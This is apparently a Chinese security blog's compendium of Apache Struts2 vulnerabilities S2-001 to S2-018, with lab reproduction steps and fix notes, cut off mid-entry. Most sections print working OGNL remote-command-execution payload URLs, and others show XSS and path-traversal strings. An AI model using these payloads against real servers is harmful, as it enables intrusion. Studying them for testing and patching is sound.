si1ent

Struts2漏洞汇总

2021-02-26

备注:以下文章部分参考互联网各位大佬整理得到,如未及时添加出处还请及时提出.

Struts 2 概述

Struts2是一个基于MVC(Models、View、Controller)设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。Struts 2是Struts的下一代产品,是在 Struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架。其全新的Struts 2的体系结构与Struts 1的体系结构差别巨大。Struts 2以WebWork为核心,采用拦截器的机制来处理用户的请求,这样的设计也使得业务逻辑控制器能够与Servlet API完全脱离开,所以Struts 2可以理解为WebWork的更新产品。虽然从Struts 1到Struts 2有着太大的变化,但是相对于WebWork,Struts 2的变化很小。

漏洞环境

2d8ru/struts2

可参考Apache Struts官方连接,不同版本中漏洞情况也不一致;下载对应版本Struts即可验证对应漏洞。

各版本下载

漏洞情况
docker镜像包含以下部分,其他漏洞还请及时搭建测试环境进行复现。

S2-001 (CVE-2007-4556)

S2-002(无CVE)

S2-003(无CVE)

S2-005(CVE-2010-1870)

S2-006(CVE-2011-1772)

S2-007 (CVE-2012-0838)

S2-008 (CVE-2012-0392)

S2-009(CVE-2011-3923)

S2-012(CVE-2013-1965)

S2-013(CVE-2013-1966)

S2-014(CVE-2013-2115)

S2-015(CVE-2013-2135, CVE-2013-2134)

S2-016 (CVE-2013-2251)

S2-019 (CVE-2013-4316)

S2-020(CVE-2014-0050、CVE-2014-0094)

S2-029 (CVE-2016-0785)

S2-032 (CVE-2016-3081)

S2-033 (CVE-2016-3087)

S2-037 (CVE-2016-4438)

S2-045 (CVE-2017-5638)

S2-046 (CVE-2017-5638)

S2-048 (CVE-2017-9791)

S2-052 (CVE-2017-9805)

S2-053 (CVE-2017-12611)

S2-057 (CVE-2018-11776)

S2-059(CVE-2019-0230)

S2-061(CVE-2020-17530)

扩展

OGNL

OGNL是Object Graphic Navigation Language(对象导航图语言)的缩写,他是一个开源项目。Struts框架使用OGNL作为默认的表达式语言。

OGNL特点

应用于Java中的一个开源的表达式语言(Expression Language);它被集成在Struts2等框架中,作用是对数据进行访问,它拥有类型转换、访问对象方法、操作集合对象等功能。

OGNL安全

由于OGNL能够创建或更改可执行代码,因此能够为使用它的任何框架引入严重的安全漏洞。多个Apache Struts 2版本容易受到OGNL安全漏洞的攻击。

S2-001、S2-003等部分版本均因OGNL问题导致出现漏洞。

REST插件

Struts2-Rest-Plugin是让Struts2能够实现Restful API的一个插件,其根据Content-Type或URI扩展名来判断用户传入的数据包类型;映射关系:

扩展 Content-type 解析方法
xml application/xml xstream
json application/json jsonlib或jackson
xhtml application/xhtml-xml
application/X-WWW-form-urlencoded
mulipart/form-data

环境搭建

docker

镜像拉取
1
docker pull 2d8ru/struts2
环境启动
1
docker run -d -p 8080:8080 2d8ru/struts2

其他

拉取项目

下载对应项目

1
https://github.com/vulhub/vulhub/tree/master/struts2/s2-057
项目启动

在环境目录下执行以下

1
docker-compose up -d

Win

虚拟机+Tomcat+Struts2版本

相关链接

1
2
3
4
# Struts2 版本
http://archive.apache.org/dist/struts/binaries/
# Tomcat 版本
http://archive.apache.org/dist/tomcat/tomcat-6/

漏洞实战分类

CVE-2007-4556

漏洞描述

S2-001

该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行。

影响范围

Struts 2.0.0 ~ Struts 2.0.8

漏洞原理

该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行。%{1+1}

漏洞条件

版本要求

Struts 2.0.0 ~ Struts 2.0.8

漏洞检测

0、URL访问

1
2
# 登录页
http://192.168.3.204:8080/S2-001/login.action

image-20210201114722823

1、password输入%{1+1}

image-20210201112315271

2、提交,报错返回解析成了2

image-20210201112430016

3、命令执行

替换pwd其他命令

1
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

image-20210201161515178

漏洞修复

增加了对OGNL递归解析次数的判断,默认情况下只会解析第一层

参考
1
https://cwiki.apache.org/confluence/display/WW/S2-001

S2-002(无CVE)

漏洞描述

由于 Struts 2 框架在处理<s:url><s:a>两个标签时,未对标签内的字符进行有效转义,导致存在 XSS 漏洞。

影响范围

Struts 2.0.0 ~ Struts 2.1.8

漏洞原理

应用程序在处理标签时,未对标签内的字符进行转义处理导致产生XSS漏洞。

漏洞条件

版本要求

Struts 2.0.0 ~Struts 2.1.8

验证版本:Struts 2.0.1

漏洞检测

1、xmapp安装

解压并安装

2、部署Struts 2.0.1项目

解压对应zip包,拷贝showcase的war包至,并启动Tomcat服务

image-20210206162925336

3、URL访问

1
http://127.0.0.1:8080/struts2-showcase-2.0.1/continuations/guess.action

image-20210206163015783

4、构造Exp

1
http://127.0.0.1:8080/struts2-showcase-2.0.1/continuations/guess.action?<script>alert('si1ent')</script>test=si1ent

image-20210206163419657

XSS代码执行成功
漏洞修复

1、版本更新

参考
1
2
3
https://www.jianshu.com/p/86c54d6d3c71
# 官方
https://cwiki.apache.org/confluence/display/WW/S2-002

S2-003(无CVE)

漏洞描述

Struts会将HTTP的每个参数名解析为OGNL语句执行(可以理解为Java代码)。OGNL表达式通过#来访问struts的对象,Struts框架通过过滤#字符防止安全问题,通过unicode编码(u0023)或8进制(43)即可绕过安全限制,从而能够操纵服务器端上下文对象。

影响范围

Struts 2.0.0 - Struts 2.1.8.1

漏洞原理

Struts会将HTTP的每个参数名解析为OGNL语句执行(可以理解为Java代码)。OGNL表达式通过#来访问struts的对象,Struts框架通过过滤#字符防止安全问题,通过unicode编码(u0023)或8进制(43)即可绕过安全限制,从而能够操纵服务器端上下文对象。

漏洞条件

Tomcat-7.0.78本身限定了特殊字符;要验证此漏洞,需要安装Tomcat 6.0

Struts2 版本:

Struts 2.0.0 - Struts 2.1.8.1

漏洞检测

1、部署jdk、jre环境

java version "1.6.0_45"

2、Tomcat版本

Tomcat 6.0.9

3、Struts2版本

struts-2.0.11.2

4、解压至对应目录

image-20210218111329877

5、部署Struts

image-20210218111358228

6、URL访问

1
http://192.168.5.167:8080/struts2-showcase-2.0.11.2/showcase.action

image-20210218111448577

7、执行payload

1
?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(kxlzx)(kxlzx)&('\u0023mycmd\u003d\'ipconfig\'')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\u0023mycmd)')(bla)(bla)&(A)(('\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())')(bla))&(B)(('\u0023myres\u003dnew\40byte[51020]')(bla))&(C)(('\u0023mydat.readFully(\u0023myres)')(bla))&(D)(('\u0023mystr\u003dnew\40java.lang.String(\u0023myres)')(bla))&('\u0023myout\u003d@org.apache.struts2.ServletActionContext@getResponse()')(bla)(bla)&(E)(('\u0023myout.getWriter().println(\u0023mystr)')(bla))

8、执行结果如下

1
http://192.168.5.167:8080/struts2-showcase-2.0.11.2/showcase.action?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(kxlzx)(kxlzx)&('\u0023mycmd\u003d\'ipconfig\'')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\u0023mycmd)')(bla)(bla)&(A)(('\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())')(bla))&(B)(('\u0023myres\u003dnew\40byte[51020]')(bla))&(C)(('\u0023mydat.readFully(\u0023myres)')(bla))&(D)(('\u0023mystr\u003dnew\40java.lang.String(\u0023myres)')(bla))&('\u0023myout\u003d@org.apache.struts2.ServletActionContext@getResponse()')(bla)(bla)&(E)(('\u0023myout.getWriter().println(\u0023mystr)')(bla))

image-20210218111642832

代码执行成功
漏洞修复

1、Tomcat版本更新

2、Struts 2 版本更新

参考
1
https://cwiki.apache.org/confluence/display/WW/S2-003

S2-004(无CVE)

漏洞描述

S2-004主要原因是目录遍历漏洞,通过如下方式进行目录跳转获取想要敏感数据资源。

../经过URL二次编码后得到:..%252f

影响范围

Struts 2.0.0 - 2.0.11.2

Struts 2.1.0 - 2.1.2

漏洞原理

Struts2 dispatcher逻辑的设计允许为请求URI提供web应用程序类路径中的特定静态资源,请求uri的上下文相对路径以“/struts/”开头

类似如:/struts2-showcase-2.0.11.2/struts/..%252f须添加struts路径

漏洞条件

Struts 2.0.0 - 2.0.11.2

Struts 2.1.0 - 2.1.2

漏洞检测

1、环境搭建参考如上S2-003漏洞

2、URL访问

1
http://192.168.5.184:8080/struts2-showcase-2.0.11.2/showcase.action

image-20210218135439157

3、payload测试

1
http://192.168.5.184:8080/struts2-showcase-2.0.11.2/struts/..%252f

image-20210218135843503

4、获取key

1
http://192.168.5.184:8080/struts2-showcase-2.0.11.2//struts/..%252f..%252f..%252f..%252f..%252f..%252fshowcase.jsp

image-20210218140158257

老版本无key信息
漏洞修复

1、Struts2.0.12之后已修复此漏洞

参考
1
https://cwiki.apache.org/confluence/display/WW/S2-004

CVE-2010-1870

S2-005

漏洞描述

S2-005是由于官方在修补S2-003不全面导致绕过补丁造成的。我们都知道访问Ognl的上下文对象必须要使用#符号,S2-003对#号进行过滤,但是没有考虑到unicode编码情况,导致\u0023或者8进制\43绕过。

S2-005则是绕过官方的安全配置(禁止静态方法调用和类方法执行),再次造成漏洞。

XWork会将GET参数的键和值利用OGNL表达式解析成Java语句

影响范围

Struts 2.0.0 - Struts 2.1.8.1

漏洞原理

S2-005是由于官方在修补S2-003不全面导致绕过补丁造成的。我们都知道访问Ognl的上下文对象必须要使用#符号,S2-003对#号进行过滤,但是没有考虑到unicode编码情况,导致\u0023或者8进制\43绕过。

S2-005则是绕过官方的安全配置(禁止静态方法调用和类方法执行),再次造成漏洞。

漏洞条件

Struts 2.0.0 - Struts 2.1.8.1

漏洞检测

1、URL访问

1
http://192.168.5.184:8080/struts2-showcase-2.0.11.2/showcase.action

image-20210218142747110

2、payload测试

1
http://192.168.5.184:8080/struts2-showcase-2.0.11.2/showcase.action?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(kxlzx)(kxlzx)&('\u0023_memberAccess.allowStaticMethodAccess\u003dtrue')(bla)(bla)&('\u0023mycmd\u003d\'ipconfig\'')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\u0023mycmd)')(bla)(bla)&(A)(('\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())')(bla))&(B)(('\u0023myres\u003dnew\40byte[51020]')(bla))&(C)(('\u0023mydat.readFully(\u0023myres)')(bla))&(D)(('\u0023mystr\u003dnew\40java.lang.String(\u0023myres)')(bla))&('\u0023myout\u003d@org.apache.struts2.ServletActionContext@getResponse()')(bla)(bla)&(E)(('\u0023myout.getWriter().println(\u0023mystr)')(bla))

image-20210218142856459

漏洞修复

更新至Struts 2.2.1之后

参考
1
https://cwiki.apache.org/confluence/display/WW/S2-005

CVE-2011-1772

S2-006

漏洞描述

XWork生成错误页面时的XSS漏洞

XWork默认未过滤action的名字,导致允许xss。

影响范围

Struts 2.0.0 - Struts 2.2.1.1

漏洞原理

XWork默认未过滤action的名字,导致允许xss。

漏洞条件

Struts 2.0.0 - Struts 2.2.1.1

漏洞检测
1
http://192.168.5.184:8080/struts2-blank/home.action!login:cantLogin<script>alert(1)</script>=some_value

目前无法复现,更多参考此漏洞介绍。

漏洞修复

Struts 2.2.3版本之后已修复

参考
1
https://cwiki.apache.org/confluence/display/WW/S2-006

CVE-2012-0838

S2-007

漏洞描述

当配置验证规则,类型转换出错时,进行了错误的字符串拼接,进而造成了OGNL语句的执行;导致漏洞产生。

影响范围

Struts 2.0.0 - Struts 2.2.3

漏洞原理

当配置验证规则,类型转换出错时,进行了错误的字符串拼接,进而造成了OGNL语句的执行;导致漏洞产生。

当用户提交为字符串而非整形数值时,后端用代码拼接"'" + value + "'" 然后对其进行 OGNL 表达式解析.

漏洞条件

Struts 2.0.0 - Struts 2.2.3

漏洞检测

1、docker环境

image-20210218163747418

提交字符串会报错
2、payload测试
1
2
3
4
5
# 需经过URL编码
'+++(#_memberAccess["allowStaticMethodAccess"]=true,#foo=new+java.lang.Boolean("false")+,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('ls /').getInputStream()))+++'

# URL已编码
%27+%2B+%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew+java.lang.Boolean%28%22false%22%29+%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27ls%20/%27%29.getInputStream%28%29%29%29+%2B+%27

image-20210218163918936

漏洞修复

Struts 2.2.3.1版本之后均不存在此漏洞

参考
1
https://cwiki.apache.org/confluence/display/WW/S2-007

S2-008

漏洞描述

根据官网介绍S2-008包含三种类型漏洞:

1、第一种和S2-007漏洞类型一致,OGNL表达式报错导致漏洞。

2、利用Cookie方式,虽在Struts2没有对恶意代码进行限制,但是java的webserver(Tomcat),对cookie的名称有较多限制,在传入struts2之前就被处理,有些鸡肋。

3、目标服务需开启devMode的debug模式

影响范围

Struts 2.0.0 - Struts 2.3.17

漏洞原理

根据官网介绍S2-008包含三种类型漏洞:

这里使用如下方式来验证漏洞。

3、目标服务需开启devMode的debug模式,通过statck.findValue即可执行OGNL表达式,造成代码执行

漏洞条件

Struts 2.0.0 - Struts 2.3.17

漏洞检测

1、漏洞环境

Win 7 + java version "1.6.0_45" + Tomcat 6.0.9 + Struts 2.1.6

2、URL访问

1
http://192.168.5.186:8080/struts2-showcase-2.1.6/showcase.action

image-20210219105744421

3、payload测试

1
http://192.168.5.186:8080/struts2-showcase-2.1.6/showcase.action?debug=command&expression=(%23_memberAccess["allowStaticMethodAccess"]%3Dtrue%2C%23foo%3Dnew java.lang.Boolean("false") %2C%23context["xwork.MethodAccessor.denyMethodExecution"]%3D%23foo%2C@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('calc').getInputStream()))

image-20210219105834613

4、获取主机名

1
http://192.168.5.186:8080/struts2-showcase-2.1.6/home.action?debug=command&expression=%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2c%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue%29%2c%23a%3d@java.lang.Runtime@getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2c%23b%3dnew java.io.InputStreamReader%28%23a%29%2c%23c%3dnew java.io.BufferedReader%28%23b%29%2c%23d%3dnew char%5b50000%5d%2c%23c.read%28%23d%29%2c%23genxor%3d%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2c%23genxor.println%28%23d%29%2c%23genxor.flush%28%29%2c%23genxor.close%28%29

image-20210219113057930

漏洞修复

Struts 2.3.1.1版本之后均已修复此漏洞

参考
1
https://cwiki.apache.org/confluence/display/WW/S2-008

CVE-2011-3923

S2-009

漏洞描述

此漏洞针对S2-003和S2-005之后,攻击者又发现了一种新的绕过ParametersInterceptor正则保护的攻击方式.

Struts2对S2-003的修复方法是禁止#号,于是s2-005通过使用编码\u0023或\43来绕过;后来Struts2对S2-005的修复方法是禁止\等特殊符号,使用户不能提交反斜线。

当传入(ONGL)(1)时,会将前者视为ONGL表达式来执行,从而绕过了正则的匹配保护。而且由于其在HTTP参数值中,也可以进一步绕过字符串限制的保护。

影响范围

Struts 2.0.0 - Struts 2.3.1.1

漏洞原理

ParametersInterceptor正则防护中会将top ['foo'](0)作为有效的表达式匹配,OGNL将其作为(top ['foo'])(0)处理,并将“foo”操作参数的值作为OGNL表达式求值。这使得恶意用户将任意的OGNL语句放入由操作公开的任何String变量中,并将其评估为OGNL表达式,并且由于OGNL语句在HTTP参数中,攻击者可以使用黑名单字符(例如#)禁用方法执行并执行任意方法,绕过ParametersInterceptorOGNL库防护.

触发地址/ajax/example5.action

漏洞条件

Struts 2.0.0 - Struts 2.3.1.1

漏洞检测

1、环境

Win 7 + JDK + Tomcat 6.0.9 + Struts 2.0.11.2

2、URL访问

1
http://192.168.5.188:8080/struts2-showcase-2.0.11.2/ajax/example5.action

image-20210219141708098

3、payload测试

1
http://192.168.5.188:8080/struts2-showcase-2.0.11.2/ajax/example5.action?age=12313&name=(%23context["xwork.MethodAccessor.denyMethodExecution"]=+new+java.lang.Boolean(false),+%23_memberAccess["allowStaticMethodAccess"]=true,+%23a=@java.lang.Runtime@getRuntime().exec("whoami").getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)('meh')]

image-20210219140634654

获取主机名信息

image-20210219140716338

漏洞修复

Struts 2.3.1.2版本之后已修复

参考
1
https://cwiki.apache.org/confluence/display/WW/S2-009

CVE-2012-4386

S2-010

漏洞描述

当使用Struts 2令牌机制进行CSRF保护时,可能会通过滥用已知的会话属性来绕过令牌检查。

影响范围

Struts 2.0.0 - Struts 2.3.4

漏洞原理

当使用Struts 2令牌机制进行CSRF保护时,可能会通过滥用已知的会话属性来绕过令牌检查。

漏洞条件

Struts 2.0.0 - Struts 2.3.4

漏洞检测

漏洞无法根据现有环境进行复现,如有需要还请自行进行环境搭建复测。

漏洞修复

Struts 2.3.4.1版本之后已修复

参考
1
https://cwiki.apache.org/confluence/display/WW/S2-010

CVE-2012-4387

S2-011

漏洞描述

Struts2处理的请求参数被视为OGNL表达式;DOS攻击可能会使用非常长的参数名对基于Struts 2的应用程序创建请求。

影响范围

Struts 2.0.0 - Struts 2.3.4

漏洞原理

Struts2处理的请求参数被视为OGNL表达式;DOS攻击可能会使用非常长的参数名对基于Struts 2的应用程序创建请求。

漏洞条件

Struts 2.0.0 - Struts 2.3.4

漏洞检测

漏洞无法根据现有环境进行复现,如有需要还请自行进行环境搭建复测。

漏洞修复

Struts 2.3.4.1版本已修复

参考
1
https://cwiki.apache.org/confluence/display/WW/S2-011

CVE-2013-1965

S2-012

漏洞描述

在S2-003,S2-005和S2-009中已经解决了OGNL评估问题,但是,由于它只涉及参数名称,因此结果得出的修复是基于将可接受的参数名称列入白名单并拒绝对参数中包含的表达式进行评估名称,仅关闭了部分漏洞。

当重定向结果从堆栈中读取并使用先前注入的代码作为重定向参数时,将进行第二次评估。
这使恶意用户可以将任意OGNL语句放入由操作公开的任何未过滤的String变量中,并将其评估为OGNL表达式,以启用方法执行并执行任意方法,从而绕过Struts和OGNL库保护。

如果在配置 Action 中 Result 时使用了重定向类型,并且还使用 ${param_name} 作为重定向变量,例如:

1
2
3
4
5
6
7
<package name="S2-012" extends="struts-default">
<action name="user" class="com.demo.action.UserAction">
<result name="redirect" type="redirect">/index.jsp?name=${name}</result>
<result name="input">/index.jsp</result>
<result name="success">/index.jsp</result>
</action>
</package>

这里 UserAction 中定义有一个 name 变量,当触发 redirect 类型返回时,Struts2 获取使用 ${name} 获取其值,在这个过程中会对 name 参数的值执行 OGNL 表达式解析,从而可以插入任意 OGNL 表达式导致命令执行。

影响范围

Struts Showcase App 2.0.0 - Struts Showcase App 2.3.14.2

漏洞原理

描述参考如上

触发地址

1
http://192.168.5.188:8080/struts2-showcase-2.1.6/skill/edit.action
漏洞条件

Struts Showcase App 2.0.0 - Struts Showcase App 2.3.14.2

漏洞检测

1、环境

Win 7 + JDK + Tomcat 6.0.9 + Struts 2.1.6

2、URL访问

1
http://192.168.5.188:8080/struts2-showcase-2.1.6/skill/edit.action

image-20210219150037781

3、提交POST

1
currentSkill.name=currentSkill.name=%25%7B%23a%3D%28new%20java.lang.ProcessBuilder%28new%20java.lang.String%5B%5D%7B%22cmd.exe%22%2C%20%22%2fc%22%2C%20%22whoami%22%7D%29%29.redirectErrorStream%28true%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew%20java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew%20java.io.BufferedReader%28%23c%29%2C%23e%3Dnew%20char%5B500%5D%2C%23d.read%28%23e%29%2C%23f%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29%2C%23f.getWriter%28%29.println%28new%20java.lang.String%28%23e%29%29%2C%23f.getWriter%28%29.flush%28%29%2C%23f.getWriter%28%29.close%28%29%7D&currentSkill.description=aaaa

4、payload结果如下

image-20210219150117924

漏洞修复

Struts 2.3.14.1版本之后已修复

参考
1
2
https://cwiki.apache.org/confluence/display/WW/S2-012
https://copyfuture.com/blogs-details/20200910115826642xohc6wpnns9lsf8

CVE-2013-1966

S2-013

漏洞描述

Struts2标签库中的url标签和a标签的includeParams这个属性,代表显示请求访问参数的含义,一旦它的值被赋予ALL或者GET或者 POST,就会显示具体请求参数内容。按照正常的需求,把参数urlEncode一下也就够了, 问题在于,Struts竟然多做了一步,把参数做了OGNL解析!

影响范围

Struts 2.0.0 - Struts 2.3.14.1

漏洞原理

<s:a>用来显示一个超链接,当includeParams=all的时候,会将本次请求的GET和POST参数都放在URL的GET参数上。在放置参数的过程中会将参数进行OGNL渲染,造成任意命令执行漏洞。

触发位置:

1
2
3
link.action?a=%24%7B1%2b1%7D
URLDecode
link.action?a=${1+1}
漏洞条件

Struts 2.0.0 - Struts 2.3.14.1

漏洞检测

1、环境

docker

2、URL访问

1
http://192.168.20.120:8080/S2-013/link.action?a=%24%7B1%2b1%7D

image-20210219165035971

3、payload测试

1
http://192.168.20.120:8080/S2-013/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('id').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D

image-20210219165204140

image-20210219165249442

漏洞修复

Struts 2.3.14.1版本之后已修复

参考
1
https://cwiki.apache.org/confluence/display/WW/S2-013

CVE-2013-2115

S2-014

漏洞描述

S2-014 是对 S2-013 修复的加强,在 S2-013 修复的代码中忽略了 ${ognl_exp}OGNL 表达式执行的方式,因此 S2-014 是对其的补丁加强。

影响范围

Struts 2.0.0 - Struts 2.3.14.1

漏洞原理

参考CVE-2013-1966介绍。

漏洞条件

Struts 2.0.0 - Struts 2.3.14.1

漏洞检测

1、payload

1
http://192.168.20.120:8080/S2-013/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%27id%27).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%27dbapp%3D%27%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D

image-20210219170241435

漏洞修复

Struts 2.3.14.2版本之后已修复

参考
1
https://cwiki.apache.org/confluence/display/WW/S2-014

CVE-2013-2135

S2-015

漏洞描述

漏洞产生是由于Struts.xml中配置了通配符*,并将其作为动态值时,解析时会将其内容执行 OGNL 表达式,例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<package name="S2-015" extends="struts-default">
<action name="*" class="com.demo.action.PageAction">
<result>/{1}.jsp</result>
</action>

<action name="param" class="com.demo.action.ParamAction">
<result name="error">${message}</result>

<result name="success" type="httpheader">
   <param name="error">305</param>
   <param name="headers.fxxk">${message}</param>
</result>
</action>
</package>

上述配置能让我们访问 name.action 时使用 name.jsp 来渲染页面,但是在提取 name 并解析时,对其执行了 OGNL 表达式解析,所以导致命令执行。在实践复现的时候发现,由于 name 值的位置比较特殊,一些特殊的字符如 / “ \ 都无法使用(转义也不行),所以在利用该点进行远程命令执行时一些带有路径的命令可能无法执行成功。

还有需要说明的就是在 Struts 2.3.14.1 - Struts 2.3.14.2 的更新内容中,删除了 SecurityMemberAccess 类中的 setAllowStaticMethodAccess 方法,因此在 2.3.14.2 版本以后都不能直接通过 #_memberAccess['allowStaticMethodAccess']=true 来修改其值达到重获静态方法调用的能力。

影响范围

Struts 2.0.0 - Struts 2.3.14.2

漏洞原理

一旦配置通配符*,访问 name.action 时使用 name.jsp 来渲染页面,但是在提取 name 并解析时,对其执行了 OGNL 表达式解析,所以导致命令执行。在实践复现的时候发现,由于 name 值的位置比较特殊,一些特殊的字符如 / “ \ 都无法使用(转义也不行),所以在利用该点进行远程命令执行时一些带有路径的命令可能无法执行成功。

漏洞条件

Struts 2.0.0 - Struts 2.3.14.2

漏洞检测

1、URL访问

1
http://192.168.20.120:8080/S2-015/$%7B1+2%7D.action

image-20210219174824615

2、payload

1
http://192.168.20.120:8080/S2-015/%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29%2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%3D@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27id%27%29.getInputStream%28%29%29%2C%23q%7D.action

image-20210219174931653

漏洞修复

Struts 2.3.14.3版本之后已修复

参考
1
https://cwiki.apache.org/confluence/display/WW/S2-015

CVE-2013-2251

S2-016

漏洞描述

在struts2中,DefaultActionMapper类支持以”action:”、“redirect:”、”redirectAction:”作为导航或是重定向前缀,但是这些前缀后面同时可以跟OGNL表达式,由于struts2没有对这些前缀做过滤,导致利用OGNL表达式调用java静态方法执行任意系统命令。

影响范围

Struts 2.0.0 – Struts 2.3.15

漏洞原理

struts2中,DefaultActionMapper类支持以”action:”、“redirect:”、”redirectAction:”作为导航或是重定向前缀,但是这些前缀后面同时可以跟OGNL表达式,由于struts2没有对这些前缀做过滤,导致利用OGNL表达式调用java静态方法执行任意系统命令。

漏洞条件

Struts 2.0.0 – Struts 2.3.15

漏洞检测

1、URL访问

1
http://192.168.20.120:8080/S2-016/default.action

image-20210219180819677

2、payload

1
http://192.168.20.120:8080/S2-016/default.action?redirect%3A%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D

image-20210219192239420

程序路径
漏洞修复

Struts 2.3.15.1之后版本已修复

参考
1
https://cwiki.apache.org/confluence/display/WW/S2-016

CVE-2013-2248

S2-017

漏洞描述

S2-017和S2-016漏洞产生原因一致,在struts2中,DefaultActionMapper类支持以”action:”、“redirect:”、”redirectAction:”作为导航或是重定向前缀,但是这些前缀后面同时可以跟OGNL表达式,由于struts2没有对这些前缀做过滤,导致利用OGNL表达式调用java静态方法执行任意系统命令。

只是两个漏洞PoC不一致。

影响范围

Struts 2.0.0 - Struts 2.3.15

漏洞原理

2-017和S2-016漏洞产生原因一致,在struts2中,DefaultActionMapper类支持以”action:”、“redirect:”、”redirectAction:”作为导航或是重定向前缀,但是这些前缀后面同时可以跟OGNL表达式,由于struts2没有对这些前缀做过滤,导致利用OGNL表达式调用java静态方法执行任意系统命令。

漏洞条件

Struts 2.0.0 - Struts 2.3.15

漏洞检测

1、环境

Win 7 + JDK + Tomcat 6.0.9 + Struts 2.1.6

2、URL访问

1
http://192.168.5.190:8080/struts2-showcase-2.1.6/

image-20210219192810470

3、payload

1
http://192.168.5.190:8080/struts2-showcase-2.1.6/fileupload/upload.action?redirect:http://www.yahoo.com/

image-20210219192827176

跳转至雅虎
漏洞修复

Struts 2.3.15.1版本之后已修复

参考
1
https://cwiki.apache.org/confluence/display/WW/S2-017

CVE-2013-4310

S2-018

漏洞描述

ApacheStruts2.0.0至2.3.15.1版本中存在漏洞。远程攻击者可借助特制的action:prefix利用该漏洞绕过访问控制。

影响范围

